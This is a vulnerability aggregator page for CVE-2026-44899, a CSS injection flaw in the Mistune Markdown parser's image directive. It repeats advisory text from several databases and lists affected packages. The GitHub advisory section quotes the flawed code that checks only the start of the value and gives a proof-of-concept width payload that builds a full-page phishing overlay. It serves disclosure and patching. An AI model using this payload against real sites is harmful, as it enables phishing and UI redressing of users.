Every CVE Search/ Get API key

CVE-2026-44899

Mistune Image Directive CSS Injection Vulnerability

4.7 MediumFix available

CVE-2026-44899 is a medium vulnerability (CVSS 4.7) in Lepture Mistune, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in mistune 3.2.1.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.23%Up 0.2 points since May 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.7

Mistune Image Directive CSS Injection Vulnerability

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
CVE-2026-44899
CVSS 3.1
4.7 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-31992 4.7

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
EUVD-2026-31992
CVSS 3.1
4.7 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-ccfx-mfmx-2fx9 4.7

Mistune Image Directive CSS Injection Vulnerability

Summary

The Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.

When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.

An attacker can therefore inject an arbitrary chain of CSS properties — including position:fixed, background-color, z-index, outline, and opacity — using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.

Details

File: src/mistune/directives/image.py

_num_re = re.compile(r"^\d+(?:\.\d*)?")   # no $ anchor — prefix match only

def _parse_attrs(options):
    height = options.get("height")
    width  = options.get("width")
    if height and _num_re.match(height):   # passes if value STARTS with a digit
        attrs["height"] = height           # full value stored, not just digits
    if width and _num_re.match(width):     # same — prefix-only check
        attrs["width"] = width

And in render_block_image():

if width:
    if width.isdigit():
        img += ' width="' + width + '"'   # safe: integer → HTML attribute
    else:
        style += "width:" + width + ";"   # UNSAFE: non-integer → raw style value

The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed _num_re.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.

PoC

Step 1 — Establish the baseline (safe plain-integer dimensions)

The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:

md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])

bl_src = (
    "```{image} photo.jpg\n"
    ":width: 400\n"
    ":height: 300\n"
    ":alt: safe image\n"
    "```\n"
)
bl_out = str(md(bl_src))

Expected and actual output — clean width= and height= HTML attributes, no style=:

<div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div>

Step 2 — Understand why non-integer widths go into style=

When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that _num_re.match() lets far more than CSS units through.

Step 3 — Craft the exploit payload

Provide a :width: value that begins with a valid number (satisfying _num_re.match()) but appends an entire CSS attack chain after it:

:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93
  • 100vw — starts with 1, passes _num_re.match(); also sets the width to full viewport width
  • ;height:100vh — overrides height to full viewport height
  • ;position:fixed — lifts element out of document flow, fixed to the browser viewport
  • ;top:0;left:0 — anchors overlay to the top-left corner
  • ;z-index:9999 — places it above all other page content
  • ;background-color:#e11d48 — fills the overlay with vivid crimson
  • ;outline:8px solid #facc15 — adds a bright…
Record
GHSA-ccfx-mfmx-2fx9
CVSS 3.1
4.7 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 4.7

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
CVE-2026-44899
CVSS 3.1
4.7 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 4.7

Mistune Image Directive CSS Injection Vulnerability

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
CVE-2026-44899
CVSS 3.1
4.7 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVDEBIAN-CVE-2026-44899 6.1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
DEBIAN-CVE-2026-44899
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-ccfx-mfmx-2fx9 4.7

Mistune Image Directive CSS Injection Vulnerability

Summary

The Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.

When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.

An attacker can therefore inject an arbitrary chain of CSS properties — including position:fixed, background-color, z-index, outline, and opacity — using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.

Details

File: src/mistune/directives/image.py

_num_re = re.compile(r"^\d+(?:\.\d*)?")   # no $ anchor — prefix match only

def _parse_attrs(options):
    height = options.get("height")
    width  = options.get("width")
    if height and _num_re.match(height):   # passes if value STARTS with a digit
        attrs["height"] = height           # full value stored, not just digits
    if width and _num_re.match(width):     # same — prefix-only check
        attrs["width"] = width

And in render_block_image():

if width:
    if width.isdigit():
        img += ' width="' + width + '"'   # safe: integer → HTML attribute
    else:
        style += "width:" + width + ";"   # UNSAFE: non-integer → raw style value

The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed _num_re.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.

PoC

Step 1 — Establish the baseline (safe plain-integer dimensions)

The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:

md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])

bl_src = (
    "```{image} photo.jpg\n"
    ":width: 400\n"
    ":height: 300\n"
    ":alt: safe image\n"
    "```\n"
)
bl_out = str(md(bl_src))

Expected and actual output — clean width= and height= HTML attributes, no style=:

<div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div>

Step 2 — Understand why non-integer widths go into style=

When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that _num_re.match() lets far more than CSS units through.

Step 3 — Craft the exploit payload

Provide a :width: value that begins with a valid number (satisfying _num_re.match()) but appends an entire CSS attack chain after it:

:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93
  • 100vw — starts with 1, passes _num_re.match(); also sets the width to full viewport width
  • ;height:100vh — overrides height to full viewport height
  • ;position:fixed — lifts element out of document flow, fixed to the browser viewport
  • ;top:0;left:0 — anchors overlay to the top-left corner
  • ;z-index:9999 — places it above all other page content
  • ;background-color:#e11d48 — fills the overlay with vivid crimson
  • ;outline:8px solid #facc15 — adds a bright…
Record
GHSA-ccfx-mfmx-2fx9
CVSS 3.1
4.7 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVPYSEC-2026-2209 6.1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
PYSEC-2026-2209
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-44899 4.7

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
UBUNTU-CVE-2026-44899
CVSS 3.1
4.7 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVAZL-88406 No score

CVE-2026-44899 affecting package python-mistune for versions less than 3.2.1-1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Record
AZL-88406
Updated
2026-11-02
OSVopenSUSE-SU-2026:20827-1 No score

Security update for python-mistune

This update for python-mistune fixes the following issues

  • CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
  • CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
  • CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
  • CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
  • CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
  • CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
  • CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).
Record
openSUSE-SU-2026:20827-1
Updated
2026-11-02
OSVSUSE-SU-2026:21858-1 No score

Security update for python-mistune

This update for python-mistune fixes the following issues

  • CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
  • CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
  • CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
  • CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
  • CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
  • CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
  • CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).
Record
SUSE-SU-2026:21858-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
mistune
PyPI
3.2.0 to 3.2.0
3.2.1
python-mistune
Azure Linux:3
before 3.2.1-1
3.2.1-1
mistune
Debian:12
All versions, plus listed versions
2.0.4-12.0.4-23.0.2-13.0.2-23.1.3-13.1.4-13.3.4-1
None known
mistune
Debian:13
All versions, plus listed versions
3.1.3-13.1.4-13.3.4-1
None known
mistune
Debian:14
All versions, plus listed versions
3.1.3-13.1.4-13.3.4-1
None known
mistune
PyPI
3.2.0 up to 3.2.1
3.2.1
mistune
PyPI
before 3.2.1, plus listed versions
0.1.00.2.00.3.00.3.10.4
Show 45 moreShow less
0.4.10.50.5.10.60.70.7.10.7.20.7.30.7.40.80.8.10.8.20.8.30.8.42.0.02.0.0a12.0.0a22.0.0a32.0.0a42.0.0a52.0.0a62.0.0rc12.0.12.0.22.0.32.0.42.0.52.1.03.0.03.0.0a13.0.0a23.0.0a33.0.0rc13.0.0rc23.0.0rc33.0.0rc43.0.0rc53.0.13.0.23.1.03.1.13.1.23.1.33.1.43.2.0
3.2.1
mistune
Ubuntu:16.04:LTS
All versions, plus listed versions
0.6-20.7.1-1
None known
mistune
Ubuntu:18.04:LTS
All versions, plus listed versions
0.7.4-10.8-10.8.1-10.8.3-2
None known
mistune
Ubuntu:20.04:LTS
All versions, plus listed versions
0.8.4-10.8.4-2
None known
Show 10 moreShow less
Affected packages
PackageAffectedFixed
mistune
Ubuntu:22.04:LTS
All versions, plus listed versions
0.8.4-40.8.4-52.0.0-1+really0.8.4-1
None known
mistune0
Ubuntu:22.04:LTS
All versions, plus listed versions
0.8.4-10.8.4-2
None known
mistune
Ubuntu:24.04:LTS
All versions, plus listed versions
2.0.4-23.0.2-1
None known
mistune0
Ubuntu:24.04:LTS
All versions, plus listed versions
0.8.4-2
None known
mistune
Ubuntu:25.10
All versions, plus listed versions
3.0.2-23.1.3-1
None known
mistune0
Ubuntu:25.10
All versions, plus listed versions
0.8.4-4
None known
mistune
Ubuntu:26.10
All versions, plus listed versions
3.1.4-1
None known
mistune0
Ubuntu:26.10
All versions, plus listed versions
0.8.4-6
None known
mistune
Ubuntu:26.04:LTS
All versions, plus listed versions
3.1.3-13.1.4-1
None known
mistune0
Ubuntu:26.04:LTS
All versions, plus listed versions
0.8.4-40.8.4-50.8.4-6
None known

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, NVD, OSV

References

Show 18 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open